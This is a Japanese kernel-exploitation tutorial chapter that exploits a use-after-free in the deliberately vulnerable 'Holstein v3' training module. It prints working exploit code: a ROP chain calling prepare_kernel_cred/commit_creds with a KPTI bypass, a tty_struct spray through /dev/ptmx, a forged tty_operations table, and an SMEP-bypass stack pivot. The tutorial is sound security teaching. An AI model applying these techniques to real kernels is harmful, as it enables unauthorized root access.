前章ではHolsteinモジュールのHeap Overflowを悪用して権限昇格をしました。またもやHolsteinモジュールの開発者は脆弱性を修正し、Holstein v3を公開しました。本章では、改善されたHolsteinモジュールv3をexploitしていきます。

パッチの解析と脆弱性の調査

まずはHolstein v3をダウンロードしてください。
v2との差分は主に2点あります。まず、openでのバッファ確保時にkzallocが使われています。

1
2
3
4
5
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

kzallockmallocと同じくカーネルのヒープから領域を確保しますが、その後内容が0で埋められるという点が違います。つまり、mallocに対するcallocのような位置付けの関数がkzallocです。
次に、readwriteにおいてHeap Overflowが起きないようにサイズチェックがあります。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}

return count;
}

したがって、今回のカーネルモジュールではHeap Overflowが起こせません。

ここでcloseの実装を見てみましょう。

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

g_bufが不要になったのでkfreeで解放していますが、g_bufにはまだポインタが入ったままです。もしcloseした後にg_bufを使えたら、Use-after-Freeが起きます。

読者の中には「でもcloseしたら、そのfdに対してはreadwriteもできないからUse-after-Freeは起きない」と考えた方もいることでしょう。たしかにその通りですが、ここでカーネル空間で動作するプログラムの特徴を思い出してみましょう。

カーネル空間では、同じリソースを複数のプログラムが共有できます。Holsteinモジュールも、1プログラムだけがopenできるのではなく、複数のプログラム(あるいは1つのプログラム)が複数回openできます。では、もし次のような使い方をしたらどうなるでしょうか。

1
2
3
4
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
write(fd2, "Hello", 5);

最初のopeng_bufが確保されますが、次にまたopenするため、g_bufは新しいバッファで置き換えられます。(古いg_bufは解放されないまま残り、メモリリークが起きます。)次にfd1closeするため、ここでg_bufが解放されます。closeした段階でfd1は使えなくなりますが、fd2はまだ有効なので、fd2に対して読み書きができます。すると、既に解放したはずのg_bufが操作できてしまい、Use-after-Freeが発生することが分かります。

このように、カーネル空間のプログラムは複数のプログラムにリソースが共有されるという点に注意して設計しないと、簡単に脆弱性が生まれてしまいます。

オオカミくん

closeする時にポインタをNULLで消したり、openする時にg_bufが確保済みなら失敗するような設計にすれば、少なくとも今回のような簡単な脆弱性は防げたね。
本当にそれだけで十分かは次の章で調べるよ。

KASLRの回避

手始めにカーネルのベースアドレスとg_bufのアドレスをリークしてみましょう。
脆弱性がUse-after-Freeになっただけで、今回もバッファサイズが0x400なのでtty_structが使えます。

kROPの実現

これでROPができる状態になりました。偽のtty_operationsを用意してROP chainにstack pivotするだけです。
しかし、前回と違いUse-after-Freeですので、今使える領域がtty_structと被っています。当然ioctlなどでtty_operationsを使うとき、tty_structにも参照されない変数がたくさんあり、そこをROP chainの領域や偽のtty_operationsとして使っても構いません。ただ、これから攻撃に使おうとしている構造体の大部分を破壊してしまうのは後々意図しないバグを生み出してしまう可能性がある上、ROP chainのサイズや構造に大幅な制限が加わってしまうこともあります。なるべくtty_structとROP chainは別の領域に確保したいです。
そこで、今回は2回目のUse-after-Freeを起こします。といってもg_bufは1つなので、まずアドレスが分かっている今のg_bufにROP chainと偽のtty_operationsを書き込みます。次に別でUse-after-Freeを起こし、そちらのtty_structの関数テーブルを書き換えます。こうすればtty_structの関数テーブルのみを書き換えるので、安定したexploitが実現できます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// ROP chain
unsigned long *chain = (unsigned long*)&buf;
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = addr_prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = addr_commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;

// 偽tty_operations
*(unsigned long*)&buf[0x3f8] = rop_push_rdx_xor_eax_415b004f_pop_rsp_rbp;

write(fd2, buf, 0x400);

// 2回目のUse-after-Free
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
if (fd3 == -1 || fd4 == -1)
fatal("/dev/holstein");
close(fd3);
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) fatal("/dev/ptmx");
}

// 関数テーブルのポインタを書き換える
read(fd4, buf, 0x400);
*(unsigned long*)&buf[0x18] = g_buf + 0x3f8 - 12*8;
write(fd4, buf, 0x20);

// RIP制御
for (int i = 50; i < 100; i++) {
ioctl(spray[i], 0, g_buf - 8); // rsp=rdx; pop rbp;
}

権限昇格できていれば成功です。このexploitはここからダウンロードできます。

UAFによる権限昇格

このように、Heap OverflowやUse-after-Freeといった脆弱性は、カーネル空間では多くの場合ユーザー空間の同じ脆弱性よりも簡単に攻撃可能です。
これはカーネルのヒープが共有されており、関数ポインタなどを持ついろんな構造体を攻撃に利用できるからです。逆に言えば、Heap BOFやUAFが起きるオブジェクトと同じサイズ帯で悪用できる構造体を見つけられなければ、exploitは困難になります。

おまけ:RIP制御とSMEPの回避

今回はすべてのセキュリティ機構を回避しました。
前章でも少しだけ話が出ましたが、SMAPが無効でSMEPが有効なときは今までと少し違う簡単な手法が使えます。RIP制御が実現できたとき、次のようなgadgetを使うとどうなるでしょうか。

1
0xffffffff81516264: mov esp, 0x39000000; ret;

あらかじめユーザー空間の0x39000000をmmapで確保してROP chainを書き込んでおき、このgadgetを呼び出すとstack pivotとしてユーザー空間に設置したROP chainが走ります。つまり、この場合カーネル空間にROP chainを置いたり、そのヒープ領域のアドレスを取得したりといった面倒事が不要になります。

注意として、RSPは8バイト単位でアラインされたアドレスになるようにしてください。スタックポインタがアラインされていないと例外を発生するような命令が実行されてしまうとクラッシュしてしまうからです。
また、commit_credsprepare_kernel_cred等の関数を呼び出す際はスタックが消費されるので、実際には0x39000000より前(0x8000バイト程度余裕を持てば十分)から確保しましょう。

実際にSMAPを無効にして、このようなgadgetでユーザー空間のROP chainにstack pivotして権限昇格してみてください。なお、pivot先のメモリをmmapする際にMAP_POPULATEフラグを付けるようにしましょう。これを付けることで物理メモリが確保され、KPTIが有効でもこのマップをカーネルから見られるようになります。


modprobe_pathの書き換えやcred構造体の書き換えなどの、ROPを使わない方法でも権限昇格してみましょう。